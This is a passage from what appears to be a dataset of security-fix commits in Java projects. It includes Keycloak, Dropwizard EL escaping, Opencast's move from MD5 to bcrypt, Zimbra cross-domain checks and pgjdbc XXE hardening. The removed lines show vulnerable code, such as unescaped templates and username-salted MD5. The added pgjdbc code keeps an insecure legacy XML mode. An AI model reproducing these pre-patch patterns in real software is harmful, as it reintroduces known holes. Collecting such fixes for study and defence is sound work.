"federation/ldap/src/main/java/org/keycloak/storage/ldap/idm/store/ldap/LDAPIdentityStore.java", "commit_id": "9c2525ec1afb6737dd012d3c744a4098b787b3f7", "commit_message": "KEYCLOAK-11245 Use transcription object for LDAP bindCredential", "patch": "@@ -19,6 +19,7 @@\n \n import org.jboss.logging.Logger;\n import org.keycloak.common.util.Base64;\n+import org.keycloak.models.KeycloakSession;\n import org.keycloak.models.LDAPConstants;\n import org.keycloak.models.ModelException;\n import org.keycloak.storage.ldap.LDAPConfig;\n@@ -75,14 +76,9 @@ public class LDAPIdentityStore implements IdentityStore {\n private final LDAPConfig config;\n private final LDAPOperationManager operationManager;\n \n- public LDAPIdentityStore(LDAPConfig config) {\n+ public LDAPIdentityStore(KeycloakSession session, LDAPConfig config) {\n this.config = config;\n-\n- try {\n- this.operationManager = new LDAPOperationManager(config);\n- } catch (NamingException e) {\n- throw new ModelException(\"Couldn't init operation manager\", e);\n- }\n+ this.operationManager = new LDAPOperationManager(session, config);\n }\n \n @Override", "sections": [{"section": "@@ -19,6 +19,7 @@\n \n import org.jboss.logging.Logger;\n import org.keycloak.common.util.Base64;\n+import org.keycloak.models.KeycloakSession;\n import org.keycloak.models.LDAPConstants;\n import org.keycloak.models.ModelException;\n import org.keycloak.storage.ldap.LDAPConfig;\n", "related": false}, {"section": "@@ -75,14 +76,9 @@ public class LDAPIdentityStore implements IdentityStore {\n private final LDAPConfig config;\n private final LDAPOperationManager operationManager;\n \n- public LDAPIdentityStore(LDAPConfig config) {\n+ public LDAPIdentityStore(KeycloakSession session, LDAPConfig config) {\n this.config = config;\n-\n- try {\n- this.operationManager = new LDAPOperationManager(config);\n- } catch (NamingException e) {\n- throw new ModelException(\"Couldn't init operation manager\", e);\n- }\n+ this.operationManager = new LDAPOperationManager(session, config);\n }\n \n @Override", "related": false}]} +{"owner": "keycloak", "repo": "keycloak", "language": "Java", "file_name": "testsuite/integration-arquillian/tests/base/src/test/java/org/keycloak/testsuite/admin/ClientTest.java", "commit_id": "9a7c1a91a59ab85e7f8889a505be04a71580777f", "commit_message": "KEYCLOAK-10780 Stop creating placeholder e-mails for service accounts (#228)", "patch": "@@ -231,6 +231,8 @@ public void serviceAccount() {\n response.close();\n UserRepresentation userRep = realm.clients().get(id).getServiceAccountUser();\n assertEquals(\"service-account-serviceclient\", userRep.getUsername());\n+ // KEYCLOAK-11197 service accounts are no longer created with a placeholder e-mail.\n+ assertNull(userRep.getEmail());\n }\n \n // KEYCLOAK-3421", "sections": [{"section": "@@ -231,6 +231,8 @@ public void serviceAccount() {\n response.close();\n UserRepresentation userRep = realm.clients().get(id).getServiceAccountUser();\n assertEquals(\"service-account-serviceclient\", userRep.getUsername());\n+ // KEYCLOAK-11197 service accounts are no longer created with a placeholder e-mail.\n+ assertNull(userRep.getEmail());\n }\n \n // KEYCLOAK-3421", "related": false}]} +{"owner": "dropwizard", "repo": "dropwizard", "language": "Java", "file_name": "dropwizard-validation/src/main/java/io/dropwizard/validation/selfvalidating/ViolationCollector.java", "commit_id": "d87d1e4f8e20f6494c0232bf8560c961b46db634", "commit_message": "Escape EL expressions in ViolationCollector (#3157)\n\nFixes #3153", "patch": "@@ -1,12 +1,16 @@\n package io.dropwizard.validation.selfvalidating;\n \n+import javax.annotation.Nullable;\n import javax.validation.ConstraintValidatorContext;\n+import java.util.regex.Matcher;\n+import java.util.regex.Pattern;\n \n /**\n * This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation.\n * It collects all the violations of the SelfValidation methods of an object.\n */\n public class ViolationCollector {\n+ private static final Pattern ESCAPE_PATTERN = Pattern.compile(\"\\\\$\\\\{\");\n \n private boolean violationOccurred = false;\n private ConstraintValidatorContext context;\n@@ -17,14 +21,80 @@ public ViolationCollector(ConstraintValidatorContext context) {\n }\n \n /**\n- * Adds a new violation to this collector. This also sets violationOccurred to true.\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n *\n- * @param msg the message of the violation\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n */\n- public void addViolation(String msg) {\n+ public void addViolation(String message) {\n violationOccurred = true;\n- context.buildConstraintViolationWithTemplate(msg)\n- .addConstraintViolation();\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addConstraintViolation();\n+ }\n+\n+ /**\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n+ *\n+ * @param propertyName the name of the property\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n+ * @since 2.0.2\n+ */\n+ public void addViolation(String propertyName, String message) {\n+ violationOccurred = true;\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addPropertyNode(propertyName)\n+ .addConstraintViolation();\n+ }\n+\n+ /**\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n+ *\n+ * @param propertyName the name of the property with the violation\n+ * @param index the index of the element with the violation\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n+ * @since 2.0.2\n+ */\n+ public void addViolation(String propertyName, Integer index, String message) {\n+ violationOccurred = true;\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addPropertyNode(propertyName)\n+ .addBeanNode().inIterable().atIndex(index)\n+ .addConstraintViolation();\n+ }\n+\n+ /**\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n+ *\n+ * @param propertyName the name of the property with the violation\n+ * @param key the key of the element with the violation\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n+ * @since 2.0.2\n+ */\n+ public void addViolation(String propertyName, String key, String message) {\n+ violationOccurred = true;\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addPropertyNode(propertyName)\n+ .addBeanNode().inIterable().atKey(key)\n+ .addConstraintViolation();\n+ }\n+\n+ @Nullable\n+ private String escapeEl(@Nullable String s) {\n+ if (s == null || s.isEmpty()) {\n+ return s;\n+ }\n+\n+ final Matcher m = ESCAPE_PATTERN.matcher(s);\n+ final StringBuffer sb = new StringBuffer(s.length() + 16);\n+ while (m.find()) {\n+ m.appendReplacement(sb, \"\\\\\\\\\\\\${\");\n+ }\n+ m.appendTail(sb);\n+\n+ return sb.toString();\n }\n \n /**", "sections": [{"section": "@@ -1,12 +1,16 @@\n package io.dropwizard.validation.selfvalidating;\n \n+import javax.annotation.Nullable;\n import javax.validation.ConstraintValidatorContext;\n+import java.util.regex.Matcher;\n+import java.util.regex.Pattern;\n \n /**\n * This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation.\n * It collects all the violations of the SelfValidation methods of an object.\n */\n public class ViolationCollector {\n+ private static final Pattern ESCAPE_PATTERN = Pattern.compile(\"\\\\$\\\\{\");\n \n private boolean violationOccurred = false;\n private ConstraintValidatorContext context;\n", "related": true}, {"section": "@@ -17,14 +21,80 @@ public ViolationCollector(ConstraintValidatorContext context) {\n }\n \n /**\n- * Adds a new violation to this collector. This also sets violationOccurred to true.\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n *\n- * @param msg the message of the violation\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n */\n- public void addViolation(String msg) {\n+ public void addViolation(String message) {\n violationOccurred = true;\n- context.buildConstraintViolationWithTemplate(msg)\n- .addConstraintViolation();\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addConstraintViolation();\n+ }\n+\n+ /**\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n+ *\n+ * @param propertyName the name of the property\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n+ * @since 2.0.2\n+ */\n+ public void addViolation(String propertyName, String message) {\n+ violationOccurred = true;\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addPropertyNode(propertyName)\n+ .addConstraintViolation();\n+ }\n+\n+ /**\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n+ *\n+ * @param propertyName the name of the property with the violation\n+ * @param index the index of the element with the violation\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n+ * @since 2.0.2\n+ */\n+ public void addViolation(String propertyName, Integer index, String message) {\n+ violationOccurred = true;\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addPropertyNode(propertyName)\n+ .addBeanNode().inIterable().atIndex(index)\n+ .addConstraintViolation();\n+ }\n+\n+ /**\n+ * Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.\n+ *\n+ * @param propertyName the name of the property with the violation\n+ * @param key the key of the element with the violation\n+ * @param message the message of the violation (any EL expression will be escaped and not parsed)\n+ * @since 2.0.2\n+ */\n+ public void addViolation(String propertyName, String key, String message) {\n+ violationOccurred = true;\n+ String messageTemplate = escapeEl(message);\n+ context.buildConstraintViolationWithTemplate(messageTemplate)\n+ .addPropertyNode(propertyName)\n+ .addBeanNode().inIterable().atKey(key)\n+ .addConstraintViolation();\n+ }\n+\n+ @Nullable\n+ private String escapeEl(@Nullable String s) {\n+ if (s == null || s.isEmpty()) {\n+ return s;\n+ }\n+\n+ final Matcher m = ESCAPE_PATTERN.matcher(s);\n+ final StringBuffer sb = new StringBuffer(s.length() + 16);\n+ while (m.find()) {\n+ m.appendReplacement(sb, \"\\\\\\\\\\\\${\");\n+ }\n+ m.appendTail(sb);\n+\n+ return sb.toString();\n }\n \n /**", "related": true}]} +{"owner": "opencast", "repo": "opencast", "language": "Java", "file_name": "modules/userdirectory/src/test/java/org/opencastproject/userdirectory/JpaUserProviderTest.java", "commit_id": "32bfbe5f78e214e2d589f92050228b91d704758e", "commit_message": "Replace MD5 with bcrypt for password hashing\n\nUser passwords are stored in the database using the rather outdated and\ncryptographically insecure MD5 hash algorithm. Furthermore, the hashes\nare salted using the username instead of a random salt, causing hashes\nfor users with the same username and password to collide which is\nproblematic especially for popular users like the default admin user.\n\nThis essentially means that for an attacker, it might be feasible to\nreconstruct a user's password given access to these hashes.\n\nNote that attackers needing access to the hashes means that they must\ngain access to the database in which these are stored first to be able\nto start cracking the passwords.\nPatches\n\nThe patch makes Opencast now uses the modern and much stronger bcrypt\npassword hashing algorithm for storing passwords. Note, that old hashes\nremain MD5 until the password is updated.\n\nFor a list of users whose password hashes are stored using MD5, the REST endpoint `/user-utils/users/md5.json` is added.", "patch": "@@ -29,6 +29,7 @@\n import static org.opencastproject.util.data.Collections.set;\n import static org.opencastproject.util.persistence.PersistenceUtil.newTestEntityManagerFactory;\n \n+import org.opencastproject.kernel.security.CustomPasswordEncoder;\n import org.opencastproject.security.api.Role;\n import org.opencastproject.security.api.SecurityConstants;\n import org.opencastproject.security.api.SecurityService;\n@@ -38,7 +39,6 @@\n import org.opencastproject.security.impl.jpa.JpaRole;\n import org.opencastproject.security.impl.jpa.JpaUser;\n import org.opencastproject.util.NotFoundException;\n-import org.opencastproject.util.PasswordEncoder;\n import org.opencastproject.util.data.Collections;\n \n import org.apache.commons.collections4.IteratorUtils;\n@@ -56,6 +56,7 @@ public class JpaUserProviderTest {\n private JpaUserAndRoleProvider provider = null;\n private JpaOrganization org1 = null;\n private JpaOrganization org2 = null;\n+ private CustomPasswordEncoder passwordEncoder = new CustomPasswordEncoder();\n \n @Before\n public void setUp() throws Exception {\n@@ -83,7 +84,7 @@ public void testAddAndGetUser() throws Exception {\n assertNotNull(loadUser);\n \n assertEquals(user.getUsername(), loadUser.getUsername());\n- assertEquals(PasswordEncoder.encode(user.getPassword(), user.getUsername()), loadUser.getPassword());\n+ assertTrue(passwordEncoder.isPasswordValid(loadUser.getPassword(), user.getPassword(), null));\n assertEquals(user.getOrganization(), loadUser.getOrganization());\n assertEquals(user.getRoles(), loadUser.getRoles());\n \n@@ -94,7 +95,7 @@ public void testAddAndGetUser() throws Exception {\n assertNotNull(loadUser);\n \n assertEquals(user.getUsername(), loadUser.getUsername());\n- assertEquals(PasswordEncoder.encode(user.getPassword(), user.getUsername()), loadUser.getPassword());\n+ assertTrue(passwordEncoder.isPasswordValid(loadUser.getPassword(), user.getPassword(), null));\n assertEquals(user.getOrganization(), loadUser.getOrganization());\n assertEquals(user.getRoles(), loadUser.getRoles());\n }\n@@ -227,7 +228,7 @@ public void testUpdateUser() throws Exception {\n \n assertNotNull(loadUpdatedUser);\n assertEquals(user.getUsername(), loadUpdatedUser.getUsername());\n- assertEquals(PasswordEncoder.encode(newPassword, user.getUsername()), loadUpdatedUser.getPassword());\n+ assertTrue(passwordEncoder.isPasswordValid(loadUpdatedUser.getPassword(), newPassword, null));\n assertEquals(authorities.size(), loadUpdatedUser.getRoles().size());\n \n updateUser = new JpaUser(\"unknown\", newPassword, org1, provider.getName(), true, authorities);", "sections": [{"section": "@@ -29,6 +29,7 @@\n import static org.opencastproject.util.data.Collections.set;\n import static org.opencastproject.util.persistence.PersistenceUtil.newTestEntityManagerFactory;\n \n+import org.opencastproject.kernel.security.CustomPasswordEncoder;\n import org.opencastproject.security.api.Role;\n import org.opencastproject.security.api.SecurityConstants;\n import org.opencastproject.security.api.SecurityService;\n", "related": false}, {"section": "@@ -38,7 +39,6 @@\n import org.opencastproject.security.impl.jpa.JpaRole;\n import org.opencastproject.security.impl.jpa.JpaUser;\n import org.opencastproject.util.NotFoundException;\n-import org.opencastproject.util.PasswordEncoder;\n import org.opencastproject.util.data.Collections;\n \n import org.apache.commons.collections4.IteratorUtils;\n", "related": false}, {"section": "@@ -56,6 +56,7 @@ public class JpaUserProviderTest {\n private JpaUserAndRoleProvider provider = null;\n private JpaOrganization org1 = null;\n private JpaOrganization org2 = null;\n+ private CustomPasswordEncoder passwordEncoder = new CustomPasswordEncoder();\n \n @Before\n public void setUp() throws Exception {\n", "related": false}, {"section": "@@ -83,7 +84,7 @@ public void testAddAndGetUser() throws Exception {\n assertNotNull(loadUser);\n \n assertEquals(user.getUsername(), loadUser.getUsername());\n- assertEquals(PasswordEncoder.encode(user.getPassword(), user.getUsername()), loadUser.getPassword());\n+ assertTrue(passwordEncoder.isPasswordValid(loadUser.getPassword(), user.getPassword(), null));\n assertEquals(user.getOrganization(), loadUser.getOrganization());\n assertEquals(user.getRoles(), loadUser.getRoles());\n \n", "related": false}, {"section": "@@ -94,7 +95,7 @@ public void testAddAndGetUser() throws Exception {\n assertNotNull(loadUser);\n \n assertEquals(user.getUsername(), loadUser.getUsername());\n- assertEquals(PasswordEncoder.encode(user.getPassword(), user.getUsername()), loadUser.getPassword());\n+ assertTrue(passwordEncoder.isPasswordValid(loadUser.getPassword(), user.getPassword(), null));\n assertEquals(user.getOrganization(), loadUser.getOrganization());\n assertEquals(user.getRoles(), loadUser.getRoles());\n }\n", "related": false}, {"section": "@@ -227,7 +228,7 @@ public void testUpdateUser() throws Exception {\n \n assertNotNull(loadUpdatedUser);\n assertEquals(user.getUsername(), loadUpdatedUser.getUsername());\n- assertEquals(PasswordEncoder.encode(newPassword, user.getUsername()), loadUpdatedUser.getPassword());\n+ assertTrue(passwordEncoder.isPasswordValid(loadUpdatedUser.getPassword(), newPassword, null));\n assertEquals(authorities.size(), loadUpdatedUser.getRoles().size());\n \n updateUser = new JpaUser(\"unknown\", newPassword, org1, provider.getName(), true, authorities);", "related": false}]} +{"owner": "accenture", "repo": "mercury", "language": "Java", "file_name": "extensions/rest-automation/src/main/java/org/platformlambda/automation/servlets/HttpRelay.java", "commit_id": "f647a01347485d2afe3a0b735eab3d0121d61f46", "commit_message": "Merge pull request #14 from Accenture/security/xml-xxe-1-2020\n\nv1.12.28 with rest-automation improvements and XXE patch", "patch": "@@ -1,3 +1,21 @@\n+/*\n+\n+ Copyright 2018-2020 Accenture Technology\n+\n+ Licensed under the Apache License, Version 2.0 (the \"License\");\n+ you may not use this file except in compliance with the License.\n+ You may obtain a copy of the License at\n+\n+ http://www.apache.org/licenses/LICENSE-2.0\n+\n+ Unless required by applicable law or agreed to in writing, software\n+ distributed under the License is distributed on an \"AS IS\" BASIS,\n+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+ See the License for the specific language governing permissions and\n+ limitations under the License.\n+\n+ */\n+\n package org.platformlambda.automation.servlets;\n \n import com.google.api.client.http.*;\n@@ -39,6 +57,7 @@ public class HttpRelay implements LambdaFunction {\n private static final SimpleXmlWriter xmlWriter = new SimpleXmlWriter();\n private static final ConcurrentMap httpFactory = new ConcurrentHashMap<>();\n \n+ private static final String X_TRACE_ID = ServiceGateway.X_TRACE_ID;\n private static final String REGULAR_FACTORY = \"regular.\";\n private static final String TRUST_ALL_FACTORY = \"trust_all.\";\n private static final String COOKIE = \"cookie\";\n@@ -208,6 +227,12 @@ public Object handleEvent(Map headers, Object body, int instance\n update = true;\n }\n }\n+ // propagate X-Trace-Id when forwarding the HTTP request\n+ String traceId = po.getTraceId();\n+ if (traceId != null) {\n+ httpHeaders.set(X_TRACE_ID, traceId);\n+ update = true;\n+ }\n // set cookies if any\n Map cookies = request.getCookies();\n StringBuilder sb = new StringBuilder();", "sections": [{"section": "@@ -1,3 +1,21 @@\n+/*\n+\n+ Copyright 2018-2020 Accenture Technology\n+\n+ Licensed under the Apache License, Version 2.0 (the \"License\");\n+ you may not use this file except in compliance with the License.\n+ You may obtain a copy of the License at\n+\n+ http://www.apache.org/licenses/LICENSE-2.0\n+\n+ Unless required by applicable law or agreed to in writing, software\n+ distributed under the License is distributed on an \"AS IS\" BASIS,\n+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+ See the License for the specific language governing permissions and\n+ limitations under the License.\n+\n+ */\n+\n package org.platformlambda.automation.servlets;\n \n import com.google.api.client.http.*;\n", "related": false}, {"section": "@@ -39,6 +57,7 @@ public class HttpRelay implements LambdaFunction {\n private static final SimpleXmlWriter xmlWriter = new SimpleXmlWriter();\n private static final ConcurrentMap httpFactory = new ConcurrentHashMap<>();\n \n+ private static final String X_TRACE_ID = ServiceGateway.X_TRACE_ID;\n private static final String REGULAR_FACTORY = \"regular.\";\n private static final String TRUST_ALL_FACTORY = \"trust_all.\";\n private static final String COOKIE = \"cookie\";\n", "related": false}, {"section": "@@ -208,6 +227,12 @@ public Object handleEvent(Map headers, Object body, int instance\n update = true;\n }\n }\n+ // propagate X-Trace-Id when forwarding the HTTP request\n+ String traceId = po.getTraceId();\n+ if (traceId != null) {\n+ httpHeaders.set(X_TRACE_ID, traceId);\n+ update = true;\n+ }\n // set cookies if any\n Map cookies = request.getCookies();\n StringBuilder sb = new StringBuilder();", "related": false}]} +{"owner": "zimbra", "repo": "zm-mailbox", "language": "Java", "file_name": "store/src/java/com/zimbra/cs/service/account/AutoCompleteGal.java", "commit_id": "1df440e0efa624d1772a05fb6d397d9beb4bda1e", "commit_message": "ZBUG-1094:Broken GAL search filtering", "patch": "@@ -1,7 +1,7 @@\n /*\n * ***** BEGIN LICENSE BLOCK *****\n * Zimbra Collaboration Suite Server\n- * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2016 Synacor, Inc.\n+ * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2016, 2020 Synacor, Inc.\n *\n * This program is free software: you can redistribute it and/or modify it under\n * the terms of the GNU General Public License as published by the Free Software Foundation,\n@@ -57,8 +57,14 @@ public Element handle(Element request, Map context) throws Servi\n params.setLimit(account.getContactAutoCompleteMaxResults());\n params.setNeedCanExpand(needCanExpand);\n params.setResponseName(AccountConstants.AUTO_COMPLETE_GAL_RESPONSE);\n- if (galAcctId != null)\n- params.setGalSyncAccount(Provisioning.getInstance().getAccountById(galAcctId));\n+ if (galAcctId != null) {\n+ Account galAccount = Provisioning.getInstance().getAccountById(galAcctId);\n+ if (galAccount != null && (!account.getDomainId().equals(galAccount.getDomainId()))) {\n+ throw ServiceException\n+ .PERM_DENIED(\"can not access galsync account of different domain\");\n+ }\n+ params.setGalSyncAccount(galAccount);\n+ }\n GalSearchControl gal = new GalSearchControl(params);\n gal.autocomplete();\n return params.getResultCallback().getResponse();", "sections": [{"section": "@@ -1,7 +1,7 @@\n /*\n * ***** BEGIN LICENSE BLOCK *****\n * Zimbra Collaboration Suite Server\n- * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2016 Synacor, Inc.\n+ * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2016, 2020 Synacor, Inc.\n *\n * This program is free software: you can redistribute it and/or modify it under\n * the terms of the GNU General Public License as published by the Free Software Foundation,\n", "related": false}, {"section": "@@ -57,8 +57,14 @@ public Element handle(Element request, Map context) throws Servi\n params.setLimit(account.getContactAutoCompleteMaxResults());\n params.setNeedCanExpand(needCanExpand);\n params.setResponseName(AccountConstants.AUTO_COMPLETE_GAL_RESPONSE);\n- if (galAcctId != null)\n- params.setGalSyncAccount(Provisioning.getInstance().getAccountById(galAcctId));\n+ if (galAcctId != null) {\n+ Account galAccount = Provisioning.getInstance().getAccountById(galAcctId);\n+ if (galAccount != null && (!account.getDomainId().equals(galAccount.getDomainId()))) {\n+ throw ServiceException\n+ .PERM_DENIED(\"can not access galsync account of different domain\");\n+ }\n+ params.setGalSyncAccount(galAccount);\n+ }\n GalSearchControl gal = new GalSearchControl(params);\n gal.autocomplete();\n return params.getResultCallback().getResponse();", "related": false}]} +{"owner": "dropwizard", "repo": "dropwizard", "language": "Java", "file_name": "dropwizard-validation/src/main/java/io/dropwizard/validation/selfvalidating/SelfValidatingValidator.java", "commit_id": "d5a512f7abf965275f2a6b913ac4fe778e424242", "commit_message": "Disable message interpolation in ConstraintViolations by default (#3208)\n\nDisable message interpolation in ConstraintViolations by default but allow enabling it explicitly with `SelfValidating#escapeExpressions()`.\r\n\r\nAdditionally, `ConstraintViolations` now provides a set of methods which take a map of message parameters for interpolation.\r\nThe message parameters will be escaped by default.\r\n\r\nRefs #3153\r\nRefs #3157", "patch": "@@ -31,15 +31,17 @@ public class SelfValidatingValidator implements ConstraintValidator\n * Since this simple example only has a single SAM, we delegate directly to that one. Note that this {@link ServerAuthContext}\n * and the {@link ServerAuthModule} (SAM) share a common base interface: {@link ServerAuth}.\n- * \n+ *\n * @author Arjan Tijms\n */\n public class DefaultServerAuthContext implements ServerAuthContext {\n \n private final ServerAuthModule serverAuthModule;\n \n- public DefaultServerAuthContext(CallbackHandler handler, ServerAuthModule serverAuthModule) throws AuthException {\n- this.serverAuthModule = serverAuthModule;\n+ public DefaultServerAuthContext(CallbackHandler handler, Supplier serverAuthModuleSupplier) throws AuthException {\n+ this.serverAuthModule = serverAuthModuleSupplier.get();\n serverAuthModule.initialize(null, null, handler, Collections. emptyMap());\n }\n ", "sections": [{"section": "@@ -17,6 +17,7 @@\n package org.glassfish.soteria.mechanisms.jaspic;\n \n import java.util.Collections;\n+import java.util.function.Supplier;\n \n import javax.security.auth.Subject;\n import javax.security.auth.callback.CallbackHandler;\n", "related": false}, {"section": "@@ -34,15 +35,15 @@\n *

\n * Since this simple example only has a single SAM, we delegate directly to that one. Note that this {@link ServerAuthContext}\n * and the {@link ServerAuthModule} (SAM) share a common base interface: {@link ServerAuth}.\n- * \n+ *\n * @author Arjan Tijms\n */\n public class DefaultServerAuthContext implements ServerAuthContext {\n \n private final ServerAuthModule serverAuthModule;\n \n- public DefaultServerAuthContext(CallbackHandler handler, ServerAuthModule serverAuthModule) throws AuthException {\n- this.serverAuthModule = serverAuthModule;\n+ public DefaultServerAuthContext(CallbackHandler handler, Supplier serverAuthModuleSupplier) throws AuthException {\n+ this.serverAuthModule = serverAuthModuleSupplier.get();\n serverAuthModule.initialize(null, null, handler, Collections. emptyMap());\n }\n ", "related": false}]} +{"owner": "pgjdbc", "repo": "pgjdbc", "language": "Java", "file_name": "pgjdbc/src/main/java/org/postgresql/jdbc/PgConnection.java", "commit_id": "14b62aca4764d496813f55a43d050b017e01eb65", "commit_message": "Merge pull request from GHSA-37xm-4h3m-5w3v\n\n* refactor: Clean up whitespace in existing PgSQLXMLTest\n\n* fix: Fix XXE vulnerability in PgSQLXML by disabling external access and doctypes\n\nFixes XXE vulnerability by defaulting to disabling external access and doc types. The\nlegacy insecure behavior can be restored via the new connection property xmlFactoryFactory\nwith a value of LEGACY_INSECURE. Alternatively, a custom class name can be specified that\nimplements org.postgresql.xml.PGXmlFactoryFactory and takes a no argument constructor.\n\n* fix: Add missing getter and setter for XML_FACTORY_FACTORY to BasicDataSource", "patch": "@@ -37,6 +37,9 @@\n import org.postgresql.util.PGobject;\n import org.postgresql.util.PSQLException;\n import org.postgresql.util.PSQLState;\n+import org.postgresql.xml.DefaultPGXmlFactoryFactory;\n+import org.postgresql.xml.LegacyInsecurePGXmlFactoryFactory;\n+import org.postgresql.xml.PGXmlFactoryFactory;\n \n import java.io.IOException;\n import java.sql.Array;\n@@ -156,6 +159,9 @@ private enum ReadOnlyBehavior {\n \n private final LruCache fieldMetadataCache;\n \n+ private final String xmlFactoryFactoryClass;\n+ private PGXmlFactoryFactory xmlFactoryFactory;\n+\n final CachedQuery borrowQuery(String sql) throws SQLException {\n return queryExecutor.borrowQuery(sql);\n }\n@@ -311,6 +317,8 @@ public TimeZone get() {\n false);\n \n replicationConnection = PGProperty.REPLICATION.get(info) != null;\n+\n+ xmlFactoryFactoryClass = PGProperty.XML_FACTORY_FACTORY.get(info);\n }\n \n private static ReadOnlyBehavior getReadOnlyBehavior(String property) {\n@@ -1823,4 +1831,36 @@ public final String getParameterStatus(String parameterName) {\n return queryExecutor.getParameterStatus(parameterName);\n }\n \n+ @Override\n+ public PGXmlFactoryFactory getXmlFactoryFactory() throws SQLException {\n+ if (xmlFactoryFactory == null) {\n+ if (xmlFactoryFactoryClass == null || xmlFactoryFactoryClass.equals(\"\")) {\n+ xmlFactoryFactory = DefaultPGXmlFactoryFactory.INSTANCE;\n+ } else if (xmlFactoryFactoryClass.equals(\"LEGACY_INSECURE\")) {\n+ xmlFactoryFactory = LegacyInsecurePGXmlFactoryFactory.INSTANCE;\n+ } else {\n+ Class clazz;\n+ try {\n+ clazz = Class.forName(xmlFactoryFactoryClass);\n+ } catch (ClassNotFoundException ex) {\n+ throw new PSQLException(\n+ GT.tr(\"Could not instantiate xmlFactoryFactory: {0}\", xmlFactoryFactoryClass),\n+ PSQLState.INVALID_PARAMETER_VALUE, ex);\n+ }\n+ if (!clazz.isAssignableFrom(PGXmlFactoryFactory.class)) {\n+ throw new PSQLException(\n+ GT.tr(\"Connection property xmlFactoryFactory must implement PGXmlFactoryFactory: {0}\", xmlFactoryFactoryClass),\n+ PSQLState.INVALID_PARAMETER_VALUE);\n+ }\n+ try {\n+ xmlFactoryFactory = (PGXmlFactoryFactory) clazz.newInstance();\n+ } catch (Exception ex) {\n+ throw new PSQLException(\n+ GT.tr(\"Could not instantiate xmlFactoryFactory: {0}\", xmlFactoryFactoryClass),\n+ PSQLState.INVALID_PARAMETER_VALUE, ex);\n+ }\n+ }\n+ }\n+ return xmlFactoryFactory;\n+ }\n }", "sections": [{"section": "@@ -37,6 +37,9 @@\n import org.postgresql.util.PGobject;\n import org.postgresql.util.PSQLException;\n import org.postgresql.util.PSQLState;\n+import org.postgresql.xml.DefaultPGXmlFactoryFactory;\n+import org.postgresql.xml.LegacyInsecurePGXmlFactoryFactory;\n+import org.postgresql.xml.PGXmlFactoryFactory;\n \n import java.io.IOException;\n import java.sql.Array;\n", "related": false}, {"section": "@@ -156,6 +159,9 @@ private enum ReadOnlyBehavior {\n \n private final LruCache fieldMetadataCache;\n \n+ private final String xmlFactoryFactoryClass;\n+ private PGXmlFactoryFactory xmlFactoryFactory;\n+\n final CachedQuery borrowQuery(String sql) throws SQLException {\n return queryExecutor.borrowQuery(sql);\n }\n", "related": false}, {"section": "@@ -311,6 +317,8 @@ public TimeZone get() {\n false);\n \n replicationConnection = PGProperty.REPLICATION.get(info) != null;\n+\n+ xmlFactoryFactoryClass = PGProperty.XML_FACTORY_FACTORY.get(info);\n }\n \n private static ReadOnlyBehavior getReadOnlyBehavior(String property) {\n", "related": false}, {"section": "@@ -1823,4 +1831,36 @@ public final String getParameterStatus(String parameterName) {\n return queryExecutor.getParameterStatus(parameterName);\n }\n \n+ @Override\n+ public PGXmlFactoryFactory getXmlFactoryFactory() throws SQLException {\n+ if (xmlFactoryFactory == null) {\n+ if (xmlFactoryFactoryClass == null || xmlFactoryFactoryClass.equals(\"\")) {\n+ xmlFactoryFactory = DefaultPGXmlFactoryFactory.INSTANCE;\n+ } else if (xmlFactoryFactoryClass.equals(\"LEGACY_INSECURE\")) {\n+ xmlFactoryFactory = LegacyInsecurePGXmlFactoryFactory.INSTANCE;\n+ } else {\n+ Class clazz;\n+ try {\n+ clazz = Class.forName(xmlFactoryFactoryClass);\n+ } catch (ClassNotFoundException ex) {\n+ throw new PSQLException(\n+ GT.tr(\"Could not instantiate xmlFactoryFactory: {0}\", xmlFactoryFactoryClass),\n+ PSQLState.INVALID_PARAMETER_VALUE, ex);\n+ }\n+ if (!clazz.isAssignableFrom(PGXmlFactoryFactory.class)) {\n+ throw new PSQLException(\n+ GT.tr(\"Connection property xmlFactoryFactory must implement PGXmlFactoryFactory: {0}\", xmlFactoryFactoryClass),\n+ PSQLState.INVALID_PARAMETER_VALUE);\n+ }\n+ try {\n+ xmlFactoryFactory = (PGXmlFactoryFactory) clazz.newInstance();\n+ } catch (Exception ex) {\n+ throw new PSQLException(\n+ GT.tr(\"Could not instantiate xmlFactoryFactory: {0}\", xmlFactoryFactoryClass),\n+ PSQLState.INVALID_PARAMETER_VALUE, ex);\n+ }\n+ }\n+ }\n+ return xmlFactoryFactory;\n+ 